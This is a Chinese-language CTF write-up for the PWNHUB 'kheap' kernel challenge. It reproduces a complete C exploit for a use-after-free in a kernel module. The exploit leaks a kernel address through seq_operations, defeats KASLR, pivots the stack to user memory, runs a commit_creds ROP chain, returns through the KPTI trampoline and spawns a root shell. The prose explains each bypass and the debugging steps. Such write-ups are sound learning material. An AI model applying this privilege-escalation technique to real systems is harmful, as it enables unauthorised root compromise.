# PWNHUB-kheap
# 保护与漏洞点
保护措施:kaslr、kpti、smep
漏洞点在 keap.ko 中的 keap_ioctl 中,存在 UAF 漏洞
对于 ioctl,需要传入的参数是一个指向 info
结构体的指针
创建的堆大小为 0x20
,这个大小攻击点感觉就是指向劫持 seq_operations
了
# 漏洞利用
先给出官方的 exp
#include <stdio.h> | |
#include <fcntl.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <stdint.h> | |
#include <assert.h> | |
#include <signal.h> | |
#include <unistd.h> | |
#include <syscall.h> | |
#include <pthread.h> | |
#include <poll.h> | |
#include <linux/userfaultfd.h> | |
#include <linux/fs.h> | |
#include <sys/shm.h> | |
#include <sys/msg.h> | |
#include <sys/ipc.h> | |
#include <sys/ioctl.h> | |
#include <sys/types.h> | |
#include <sys/stat.h> | |
#include <sys/mman.h> | |
#include <sys/socket.h> | |
#include <sys/syscall.h> | |
#define PAGE_SIZE 0x1000 | |
struct info | |
{ | |
uint64_t idx; | |
char *ptr; | |
}; | |
struct request | |
{ | |
char *ptr; | |
uint64_t len; | |
}; | |
int dev_fd; | |
uint64_t user_cs,user_ss,user_eflag,user_rsp; | |
void save_state() | |
{ | |
asm( | |
"movq %%cs, %0;" | |
"movq %%ss, %1;" | |
"movq %%rsp, %3;" | |
"pushfq;" | |
"pop %2;" | |
: "=r"(user_cs),"=r"(user_ss),"=r"(user_eflag),"=r"(user_rsp) | |
: | |
: "memory" | |
); | |
} | |
void new(uint64_t idx) | |
{ | |
struct info arg={idx,NULL}; | |
ioctl(dev_fd,0x10000,&arg); | |
} | |
void delete(uint64_t idx) | |
{ | |
struct info arg={idx,NULL}; | |
ioctl(dev_fd,0x10001,&arg); | |
} | |
void choose(uint64_t idx) | |
{ | |
struct info arg={idx,NULL}; | |
ioctl(dev_fd,0x10002,&arg); | |
} | |
int seq_open() | |
{ | |
int seq; | |
if ((seq=open("/proc/self/stat",O_RDONLY))==-1) | |
{ | |
puts("[X] Seq Open Error"); | |
exit(0); | |
} | |
return seq; | |
} | |
void get_shell() | |
{ | |
system("/bin/sh"); | |
exit(0); | |
} | |
int main() | |
{ | |
save_state(); | |
dev_fd=open("/dev/kheap",O_RDWR); | |
if (dev_fd<0) | |
{ | |
puts("[X] Device Open Error"); | |
exit(0); | |
} | |
uint64_t *buf=malloc(0x20); | |
uint64_t *recv=malloc(0x20); | |
new(0); | |
choose(0); | |
delete(0); // 释放了大小为 0x20 的堆 heap | |
int seq_fd=seq_open(); // 调用 seq_open,会创建 0x20 大小的堆来保存 seq_operations | |
read(dev_fd,(char *)recv,0x20); | |
uint64_t kernel_base=recv[0]-0x33F980; | |
uint64_t prepare_kernel_cred=kernel_base+0xcebf0; | |
uint64_t commit_creds=kernel_base+0xce710; | |
uint64_t kpti_trampoline=kernel_base+0xc00fb0; // 会同时绕过 kpti,然后执行 swapg 和 retq | |
uint64_t seq_read=kernel_base+0x340560; | |
uint64_t pop_rdi=kernel_base+0x2517a; | |
uint64_t mov_rdi_rax=kernel_base+0x5982f4; | |
uint64_t gadget=kernel_base+0x94a10; //0xffffffff81094a10 : xchg esp, eax ; ret | |
printf("[+] kernel_base: 0x%lx\n",kernel_base); | |
printf("[+] prepare_kernel_cred: 0x%lx\n",prepare_kernel_cred); | |
printf("[+] commit_creds: 0x%lx\n",commit_creds); | |
//gadget&0xFFFFF000=> 地址对齐 | |
uint64_t *mmap_addr=mmap((void *)(gadget&0xFFFFF000),PAGE_SIZE,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_ANONYMOUS|MAP_SHARED,-1,0); | |
printf("[+] mmap_addr: 0x%lx\n",(uint64_t)mmap_addr); | |
//((char *) mmap_addr)+0xa10 => 得到 gadget 地址的低 4 字节 | |
uint64_t *ROP=(uint64_t *)(((char *)mmap_addr)+0xa10),i=0; | |
*(ROP+i++)=pop_rdi; | |
*(ROP+i++)=0; | |
*(ROP+i++)=prepare_kernel_cred; | |
*(ROP+i++)=commit_creds; | |
*(ROP+i++)=kpti_trampoline+22; | |
*(ROP+i++)=0; | |
*(ROP+i++)=0; | |
*(ROP+i++)=(uint64_t)get_shell; | |
*(ROP+i++)=user_cs; | |
*(ROP+i++)=user_eflag; | |
*(ROP+i++)=user_rsp; | |
*(ROP+i++)=user_ss; | |
memcpy(buf,recv,0x20); | |
buf[0]=(uint64_t)gadget; // 劫持 seq_ops 的.start 函数指针 | |
write(dev_fd,(char *)buf,0x20); // 把一开始泄露的地址重新写回 select | |
read(seq_fd,NULL,1); | |
} | |
/* | |
0xffffffff81000000 | |
0xffffa09b42945120 | |
0x33F980 | |
0xffffffff8112a6de : xchg eax, esp ; ret | |
0xffffffff81094a10 : xchg esp, eax ; ret | |
利用 xchg eax, esp 这个位于内核的 gadget,将栈转移到用户态低 32 位地址相同的地方。这个时候,我们只需要提前在这个位置布置上我们的 gadgets,就能达到提权的效果。 | |
注意:xchg eax, esp 将清空两个寄存器的高位部分。因此执行完成后,% rsp 的高四字节为 0,此时指向用户空间。我们可以使用 mmap 函数占据这块内存,并放上 ROP 链。 | |
file ./vmlinux | |
add-symbol-file ./vmlinux 0xffffffff81000000 | |
add-symbol-file ./kheap.ko 0xffffffffc0002000 | |
target remote 0.0.0.0:1234 | |
*/ |
# 绕过 kaslr 保护
泄漏地址之前,可以进行以下操作之一,为了方便找到偏移
-
将启动脚本中的
kaslr
选项去掉,改为nokaslr
,那么之后泄漏出来的地址减去0xffffffff81000000
就可以得到偏移 -
在解压的 rootfs 中的初始化脚本
init
中,以 root 用户启动,然后查看/proc/xxx
,找到基地址 base,UAF 泄漏地址后减去 base 即可得到偏移。同时可以用 lsmod 查看 keap.ko 加载的地址,方便后续调试
接着触发 UAF,在 kheap_read 中
可以把 select 保存的地址读到用户空间 buf 中,通过 gdb 调试,把 keap.ko 的符号表载入到 gdb 中然后在 kheap_read 下断点
这样就可以得到泄漏的地址的偏移为 0x33f980
,然后就可以得到基地址了
# 绕过 kpti 保护
把控制流劫持到函数 swapgs_restore_regs_and_return_to_usermode
,这里一方面会绕过 kpti 保护 (即修改 cr3 寄存器的值),另一方面会切换回用户态,即调用 swapgs 和 iretq,这样我们可以在回到用户态的时候劫持 rip 去 getshell
不需要从这个函数开头开始执行,从 mov rsp,gs:qword 6004
开始即可
# 劫持 seq_operations
又是释放的堆大小为 0x20,而为了劫持控制流,故考虑修改 seq_operations 结构体的函数指针。
seq_operations 结构体大小为 0x20
struct seq_operations { | |
void * (*start) (struct seq_file *m, loff_t *pos); // 开始读数据项,通常需要在这个函数中加锁,以防止并行访问数据 | |
void (*stop) (struct seq_file *m, void *v); // 停止数据项,和 start 相对,通常需要解锁 | |
void * (*next) (struct seq_file *m, void *v, loff_t *pos); // 下一个要处理的数据项 | |
int (*show) (struct seq_file *m, void *v); // 打印数据项到临时缓冲区 | |
}; |
这个结构体设计出来是为了简化为 /proc 文件的读写操作而设计的
打开 /proc/self/stat
文件的时候,会申请出 seq_operations 结构体,而申请出的结构体就在之前释放的堆上,保存在了 select 全局变量中,那么之后我们利用 UAF,通过 kheap_write 函数,就可以修改这个 seq_operations 结构体的函数指针,然后调用 read 读即可调用函数指针,从而劫持控制流
打开 /proc/self/stat
文件时,会先调用 single_open()
函数去初始化 seq_operations 结构体
将 vmlinux 的符号表导入 gdb 中,建议关闭 kaslr 调试,这样就可以指定起始地址为 0xffffffff81000000
方便调试,在 single_open 下断点
可以发现确实创建了 0x20 大小的堆,然后申请堆用来分配 seq_operations 结构体
记录在 single_open 申请出来堆地址,然后在 kheap_read 下断点,然后到达调用 copy_to_user 处,rsi 保存的就是 select 的值,即之前 UAF 的堆地址,可以发现这两者一样
这样,就把 seq_operations 结构体劫持到了 select 上,之后利用 kheap_write 修改函数指针即可
# 函数偏移
首先需要提权,考虑使用
commit_creds(prepare_kernel_cred(0)) |
在 vmlinux 找到对应函数的地址,还有 pop rdi;ret
的 gadget
commit_creads 函数:
prepare_kernel_cread 函数:
pop rdi; ret :(这里我使用 ROPgadget,没有使用 ropper,感觉 ROPgadget 也不是很慢)
得到地址之后均减去 0xffffffff81000000
即可得到对应的偏移
# 提权 getshell
为了利用 ROP,我们需要把在处于内核态的时候,把 rsp 劫持到用户态上,因为我们的 ROP 是保存在用户态上的,这需要用到一个 gadget 指令
xchg esp, eax ; ret
利用 xchg eax, esp 这个位于内核的 gadget,将栈转移到用户态低 32 位地址相同的地方。这个时候,我们只需要提前在这个位置布置上我们的 gadgets,就能达到提权的效果。
注意:xchg eax, esp 将清空两个寄存器的高位部分。因此执行完成后,% rsp 的高四字节为 0,此时指向用户空间。我们可以使用 mmap 函数占据这块内存,并放上 ROP 链。
在 vmlinux 的 ROP 中找到对应的 gadget,然后劫持 seq_operations 的函数指针到这里,然后改变 rsp 到用户态栈,接着就执行 ret 指令了
0xffffffff81094a10 : xchg esp, eax ; ret
先调用 kheap_write 去修改 seq_operations 的函数指针
然后调用 read 去读 /porc/self/stat
,出发 seq_operations 的函数指针。在 0xffffffff81094a10
(即改变 rsp 到用户态栈上) 下断点
执行完后发现 rsp 确实到用户态上了
然后就是我们的 ROP 链了,接着就提权成功了